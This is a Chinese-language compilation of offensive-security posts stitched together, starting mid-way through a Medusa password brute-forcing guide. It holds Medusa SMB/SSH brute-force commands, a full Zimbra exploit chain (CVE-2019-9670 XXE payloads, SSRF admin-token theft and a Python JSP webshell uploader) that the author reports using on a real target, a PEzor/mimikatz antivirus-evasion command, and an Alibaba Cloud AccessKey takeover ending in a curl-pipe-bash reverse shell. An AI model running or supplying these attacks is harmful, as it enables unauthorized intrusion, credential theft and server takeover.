3、以下命令指示Medusa通过SMB服务对主机192.168.0.20上的单个用户(管理员)测试passwords.txt中列出的所有密码。

“-e ns”指示美杜莎另外检查管理员帐户是否有一个空白密码或其密码设置为匹配其用户名(管理员)。

medusa -h 192.168.0.20 -u administrator -P passwords.txt -e ns -M smbnt

4、下面的命令行演示了如何执行Medusa的一些并行功能。

这里至少有20个主机和10个用户同时进行测试。

“-L”选项指示美杜莎由用户并行化。

这意味着针对主机的10个线程中的每个线程都会检查唯一用户。

medusa -H hosts.txt -U users.txt -P passwords.txt -T 20 -t 10 -L -F -M smbnt

5、Medusa允许使用“组合”文件设置主机/用户名/密码数据。组合文件可以使用“-C”选项指定。

该文件应该包含每行一个条目,并以“host:user:password”格式将值冒号分开。

如果三个字段中的任何一个留空,则相应的信息应作为全局值或作为文件中的列表提供。

Medusa将根据文件中第一行的内容执行基本的参数检查。

组合文件中可能有以下组合:

host:username:password

host:username:

host::

:username:password

:username:

::password

host::password

以下示例将检查文件combo.txt中的每个条目combo.txt文件:

medusa -M smbnt -C combo.txt
192.168.0.20:administrator:password

192.168.0.20:testuser:pass

192.168.0.30:administrator:blah

192.168.0.40:user1:foopass

以下示例将根据hosts.txt中列出的目标检查文件combo.txt中的每个条目combo.txt文件:

medusa -M smbnt -C combo.txt -H hosts.txt

:administrator:password

:testuser:pass

:administrator:blah

:user1:foopass

Medusa还支持使用PwDump文件作为组合文件。

这些文件的格式应该是user:id:lm:ntlm :::。我们在第一行末尾查找’:::’来确定文件是否包含PwDump输出。

6、恢复Medusa扫描。Medusa有能力恢复被SIGINT信号中断的扫描(例如CTRL-C)。

例如:

测试用SIGINT中断

medusa -M ssh -H host.txt -U users.txt -p password

中断扫描正在恢复

medusa -M ssh -H host.txt -U users.txt -p password -Z h2u3u4h3.****

前言

近期在测试一个目标的时候发现对方好几个zimbra的服务器,按照网上提供的利用方法测试了之后发现利用不成功!接着自己搭建了zimbra在自己进行测试之后成功利用并且拿下zimbra服务器!

zimbra 环境搭建
搭建的方法我是按照网上帖子搭建的!很不错!

https://www.jianshu.com/p/722bc70ff426

环境搭建首先需要一个ubuntu的系统,并且更新好源,接着就安装辅助包!
配置

Ubuntu14.04-64位
root权限
磁盘剩余空间25G
RAM 4G

实现步骤

安装辅助包
配置hostname和DNS服务器
下载和安装Zimbra
测试安装

安装辅助包
链接服务器,并执行以下命令来安装相应的包

apt-get install libgmp10 libperl5.18 unzip pax sysstat sqlite3 dnsmasq wget

1.png

配置hostname和DNS服务器

vi /etc/hostname
更改hostname为自己的域名,例如mail.test.com

vi /etc/hosts 添加如下代码
172.16.25.242(本机IP) mail.test.com mail

2.png

编辑dnsmasq的配置

vim /etc/dnsmasq.conf
server=172.16.25.242
domain=test.com
mx-host=test.com, mail.test.com, 5
mx-host=mail.test.com, mail.test.com, 5
listen-address=127.0.0.1

3.png

安装Zimbra
第一步 下载并解压文件,执行如下命令来下载文件

wget https://files.zimbra.com/downloads/8.6.0_GA/zcs-8.6.0_GA_1153.UBUNTU14_64.20141215151116.tgz

执行如下命令来解压文件

tar -xvf zcs-8.6.0_GA_1153.UBUNTU14_64.20141215151116.tgz

然后进入此文件,如果接下来安装的时候遇到这个问题,就需要单独安装一个依赖才行!

wget http://th.archive.ubuntu.com/ubuntu/pool/universe/g/gmp4/libgmp3c2_4.3.2+dfsg-2ubuntu1_amd64.deb

dpkg -i libgmp3c2_4.3.2+dfsg-2ubuntu1_amd64.deb

4.png

第二步 安装
执行以下文件来安装

sudo ./install.sh

在这个过这个过程中会出现这样的选择,接着输入“y”,然后继续。遇到以下情况应该这样选择

5.png

这里不需要zimbra-dnscache,因为我们上边使用的是dnsmasq,所以不需要此包你需要等一会,因为安装这些包是需要一些时间的。
下一步是配置Zimbra-store的管理员账号密码,看如下代码:

Main menu

1) Common Configuration:                                                  
2) zimbra-ldap:                             Enabled                       
3) zimbra-logger:                           Enabled                       
4) zimbra-snmp:                             Enabled           
5) zimbra-mta:                              Enabled            
6) zimbra-store:                            Enabled                       
..............
6) zimbra-spell:                            Enabled                       
7) zimbra-proxy:                            Enabled                       
8) Default Class of Service Configuration:                                
s) Save config to file                                                    
x) Expand menu                                                            
q) Quit                                    

Address unconfigured (**) items  (? - help) 6

选择“6”,然后会出现

Store configuration

1) Status:                                  Enabled                       
2) Create Admin User:                       yes                           
3) Admin user to create:                    [email protected]     
.....                       
24) Install UI (zimbra,zimbraAdmin webapps): yes 

Select, or 'r' for previous menu [r] 4

选择“4”,然后输入密码即可,之后的操作如下:

Main menu

1) Common Configuration:                                                  
.......                                                      
q) Quit                                    

*** CONFIGURATION COMPLETE - press 'a' to apply
Select from menu, or press 'a' to apply config (? - help) a
Save configuration data to a file? [Yes] yes
Save config in file: [/opt/zimbra/config.11647] 
Saving config in /opt/zimbra/config.11647...done.
The system will be modified - continue? [No] yes

最后,你需要等待Zimbra配置完成。使用su - zimbra命令切换用户,zmcontrol status查看zimbra服务器状态

6.png

接着访问 访问IP:7071端口,跳转zimbra管理页面 ,注意这个是需要使用HTTPS协议来访问

7.png

zimbra RCE 漏洞靶机复现

Zimbra的配置文件是在 /conf/localconfig.xml 这个文件里面的!里面有保存到一些配置信息的用户名和密码!
首先的话需要先验证是否有CVE-2019-9670 XXE漏洞,接着抓取到它的数据包,这里需要带入cookie的数据包,发到重放中之后修改为POST模式来进行数据发送,接着URL修改为 /Autodiscover/Autodiscover.xml 。并且修改Content-Type: application/xml。接着带入XML的POC

<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
<Request>
  <EMailAddress>aaaaa</EMailAddress>
  <AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>
</Request>
</Autodiscover>

8.png

读取到了 /etc/passwd 文件代表了具有CVE-2019-9670 XXE漏洞。接着需要构造payload来读取zimbra的配文件localconfig.xml。由于localconfig.xml为XML文件,需要加上CDATA标签才能作为文本读取,由于XXE不能内部实体进行拼接,所以此处需要使用外部dtd。dtd内容:

<!ENTITY % file SYSTEM "file:../conf/localconfig.xml">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>">

接着再次使用刚刚的包请求XML来进行XXE攻击。

<!DOCTYPE Autodiscover [
    <!ENTITY % dtd SYSTEM "http://地址/dtd">
    %dtd;
    %all;
    ]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
 <Request>
    <EMailAddress>aaaaa</EMailAddress>
    <AcceptableResponseSchema>&fileContents;</AcceptableResponseSchema>
 </Request>
 </Autodiscover>

9.png

利用已经得到的密码获取低权限的token,低权限的token可以通过soap接口发送AuthRequest进行获取。访问到 /service/soap 或/service/admin/soap 接着进行 抓包并且修改为POST模式。还要修改Content-Type: application/xml 。XML的内容如下:

<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
<soap:Header>
   <context xmlns="urn:zimbra">
       <userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/>
   </context>
</soap:Header>
<soap:Body>
 <AuthRequest xmlns="urn:zimbraAccount">
    <account by="adminName">zimbra</account>
    <password>上一步得到密码</password>
 </AuthRequest>
 </soap:Body>
</soap:Envelope>

接着发送数据包过去,这里他就返回回来一个低权限的Token了。这个Token需要保存,等下会用到。

10.png

拿到低权限的Token之后可以通过SSRF漏洞获取proxy接口,访问admin的soap接口来获取到高权限的Token,访问URL:/service/proxy?target=https://127.0.0.1:7071/service/admin/soap ,接着进行 抓包,获取到数据包之后修改POST模式。这一步需要把上一步获取到的低权限的token添加到cookie中,将xmlns="urn:zimbraAccount"修改为 xmlns="urn:zimbraAdmin",并且需要在Host头中加入端口7070,URL中SSRF访问的target 需要使用https协议。但是这里通过SSRF失败了,通过/service/admin/soap获取高权限token

11.png

还有一种情况!一开始我按照公开提供的SSRF利用手法!在获取高权限token的时候,如果指定cookie 的等级为 ZM_AUTH_TOKEN 的时候会验证失败 ,出现如下的效果!

12.png

但是如果把cookie的等级替换为 ZM_ADMIN_AUTH_TOKEN 高权限的TOKEN的时候 就可以获取得到了!

13.png

接着利用刚刚获取到的高权限的TOKEN 来进行文件上传,把webshell上传上去!

import requests

file= {
'filename1':(None,"whocare",None),
'clientFile':("ss.jsp",r'<%if("023".equals(request.getParameter("pwd"))){java.io.InputStream in=Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b));}out.print(" </pre>");}%>',"text/plain"), 
'requestId':(None,"12",None),
}
headers ={ 
 "Cookie":"ZM_ADMIN_AUTH_TOKEN=0_65ae5d9b75c34c538cd72a658f7de7d32a9ec7f9_69643d33363a65306661666438392d313336302d313164392d383636312d3030306139356439386566323b6578703d31333a313630353233373838313432323b61646d696e3d313a313b747970653d363a7a696d6272613b7469643d31303a313832383739333130393b;",#改成自 己的admin_token
"Host":"foo:7071"
}
r=requests.post("https://192.168.8.155:7071/service/extension/clientUploader/upload",files=file,headers=headers,verify=False)    
print(r.text)

接着访问到这个webshell,这个webshell需要有高权限的Cookie才可以访问得到这个webshell!

14.png

15.png

实战 zimbra RCE

复现这个漏洞主要就是遇到了这个邮箱服务器!并且存在XXE读取文件!前面的准备都是为了这一刻!!!!!
首先获取它的数据包,利用了CVE-2019-9670 XXE漏洞来读取配置文件。Zimbra配置文件位置为/conf/localconfig.xml。接着抓取到它的数据包,这里需要带入cookie的数据包。接着放到重放去,修改请求方式为POST,并且带入URL :/Autodiscover/Autodiscover.xml 。并且修改Content-Type: application/xml。

16.png

这里已经成功的读取到了用户的信息。说明XXE攻击成功了!接着需要构造payload来读取zimbra的配文件localconfig.xml。

17.png

利用已经得到的密码获取低权限的token,低权限的token可以通过soap接口发送AuthRequest进行获取。

18.png

拿到低权限的Token之后可以通过SSRF漏洞获取proxy接口,访问admin的soap接口来获取到高权限的Token,访问URL:/service/proxy?target=https://127.0.0.1:7071/service/admin/soap ,接着进行 抓包,获取到数据包之后修改POST模式。这一步需要把上一步获取到的低权限的token添加到cookie中,将xmlns="urn:zimbraAccount"修改为 xmlns="urn:zimbraAdmin",并且需要在Host头中加入端口7070,URL中SSRF访问的target 需要使用https协议,并且COOKIE需要更换为 ZM_ADMIN_AUTH_TOKEN 带上刚刚获取的 COOKIE。

19.png

接着通过python脚本来上传到对方的服务器中!一开始访问这个木马地址是需要高权限的COOKIE才行的!

20.png

成功了!哈哈哈哈哈哈哈

https://github.com/phra/PEzor 主要是用于通过反射来执行exe或shellcode,从而来绕过AV。
PEzor的安装和配置我略过不讲。如果不会的话,可以去头条搜索海阳顶端看我的介绍文章。

inject.x64.exe来源于哪呢?来源于metasploit-frameworkexternalsourceexploitscve-2015-0016bin。

生成reflective-dll。
./PEzor -format=reflective-dll mimikatz.exe -z 2 -p '"token::whoami" "exit"'

1.png

改名为reflective_dll.x64.dll和inject.x64.exe在同一目录。
执行inject.x64.exe

2.png

最近在HW中有攻击队使用Access Key拿下阿里云ECS服务器的案例,来总结一下利用的过程。

为什么要上云

首先要说说为什么许多企业开始选择将服务部署在云上。90年代初期甚至中期的时候,企业自己养开发人员,IT部门自己开发、自己实施、自己培训、自己运维、自己客服支持,甚至布网线、修打印机万金油。后来企业软件需要的技术越来越复杂,功能越来越复杂,企业就养不起那么多专业的开发人员了,就开始购买外部的商业软件公司的软件产品和实施支持服务了。(抄自知乎)

对于中小企业来说,服务器落地在本地意味着更高的成本、更高的风险,将网络环境直接部署到云环境中可以极大的降低此类成本
大型企业拥有专业的生产、安全等团队,上云的需求主要由本身的业务带动,并没有那么急迫。

云的概念

云服务本身分为三种,Laas\PaaS\SaaS
IaaS: Infrastructure-as-a-Service(基础设施即服务)
PaaS: Platform-as-a-Service(平台即服务)
SaaS: Software-as-a-Service(软件即服务)

1.png

具体就不展开了,网上有很多详细的解释,不是本篇的重点略过了

公有云、私有云、混合云

公有云
阿里云就属于公有云,依托阿里进行日常维护,高可靠性、低维护成本、扩展性强。

私有云
私有云指的是厂商分给专供某家企业独家使用的云服务,可以自定义硬件规格。使用私有云的通常为政企、金融等大型单位。它会比公有云更加安全;扩展性、定制化程度更高。

混合云
混合云就是公有云和私有云的混合,对外系统可以分布在公有云上对公网开发,而内部的数据库等敏感系统放在私有云上只有自己可以访问。

通过Access Key拿阿里云具体流程

通过各种途径去收集一波Access Key,比较常见的方法:

APK文件中存放Access Key Web页面/JS文件等 Github查找目标关键字发现Access Key与AccessKey Secret 拥有WebShell低权限的情况下搜集阿里云Access Key利用

github还是比较多的,可以改动一下关键字进行搜索

2.png

找到后如果可以确认为阿里云主机则可以继续开始后续步骤

3.png

(来自 https://www.moonsec.com/archives/1098

拿到AK后使用阿里官方的管理工具:行云管家可以通过导入AK获得一个云主机实例

导入云主机实例

登陆行云管家:https://yun.cloudbility.com/
在创建团队后导入一个公有云主机

4.png

填入Access Key、AccessKey Secret就可以完成导入
那么进来之后来到基础运维,可以直接重置云主机的密码,实现接管

5.png

当然作为正义的安服仔我们是不会干出这种事情的(走投无路也不是不行),这时候就需要提到阿里云的一个接口:OpenAPI Explorer.通过该接口可以直接操作让云主机执行命令

大佬整理的感觉会是比较常用的命令:

6.png

操作接口

接口中我们主要会用到两个函数:CreateCommand和InvokeCommand,可以直接搜索使用

7.png

第一个函数的作用是生成一条指令,第二个函数则是调用这个命令。
简略的展示一下调用过程:CreateCommand.py->生成Commandid->使用Commandid生成InvokeCommand.py->执行InvokeCommand.py实现RCE

选择CreateCommand,RegionId选择主机所在地区(可以在行云管家中看到),Name可以随便填,Type指的是执行那类命令,windows主机可以使用powershell和bat、linux主机可以使用sh脚本。这里不理解的地方可以点击右上角的小问号查看帮助。

8.png

然后CommandContent填的就是需要执行的命令的Base64

我们愉快的填入bash反弹shell的脚本,然后就可以点击右边的python选项,然后点击“调试”按钮

9.png

然后在下方会弹出一个Cloud shell,并自动安装所欲要的类库

10.png

通过vim ./CreateCommand.py修改脚本中的Access Key与AccessKey Secret参数,需要注意的是这里要删掉本来存在的中括号等字符

11.png

(这么黑我也没办法)

修改完后保存退出,执行python CreateCommand.py,获得Commandid

12.png

在创建完命令后,需要去调用这条命令。选择InvokeCommand,填入RegionId,CommandId(就是刚刚执行完获得的),InstanceId(云主机实例id:在行云管家中可以看到)

13.png

14.png

填完后还是在右边选择python,并且选择“调试”,见上图。此时Cloud shell会创建一个InvokeCommand.py。同样的先通过vim命令修改Access Key与AccessKey Secret,然后执行python InvokeCommand.py,命令也就成功在云主机上执行了
然后!就出现了坑爹的情况,bash反弹被拦了。

15.png

那么这个时候我们就要重新调用CreateCommand、InvokeCommand去尝试哪些命令可以过,这里放最后成功反弹的payload:curl "http://xxxx:8080/bash_shell.sh" | bash。bash_shell.sh里放的还是之前的bash反弹shell的命令

那么在我们自己的vps上用python起一个8080端口的http服务,然后放个反弹bash的sh在上面,然后nc开启监听,使用上面的payload再CreateCommand->InvokeCommand来一次,成功收到反弹回来的shell

16.png

http:

17.png

nc:

18.png

后话:

到这里通过AK拿下阿里云主机就复现完了,也是有遇到几个坑但是总的来说利用过程还是比较方便的。如果可以拿到阿里云主机的Access Key的话,利用该接口去getshell或许也是个不错的选择
此次试验中只复现了linux主机的利用过程,windows的话只是利用的命令会改变,其他流程都是相同的
另外这种攻击手段并不仅限于阿里云主机,还有比如Amazon的AWS主机也存在相似的利用手法,但是Amazon获取到的AccessKey权限并没有像阿里云那么大,阿里可以直接获取OSS和ECS主机信息,而Amazon通过IAM创建用户和组来限制AccessKey的权限。

参考文章:云渗透思路从报错信息泄露到使用ECS接口执行命令反弹shell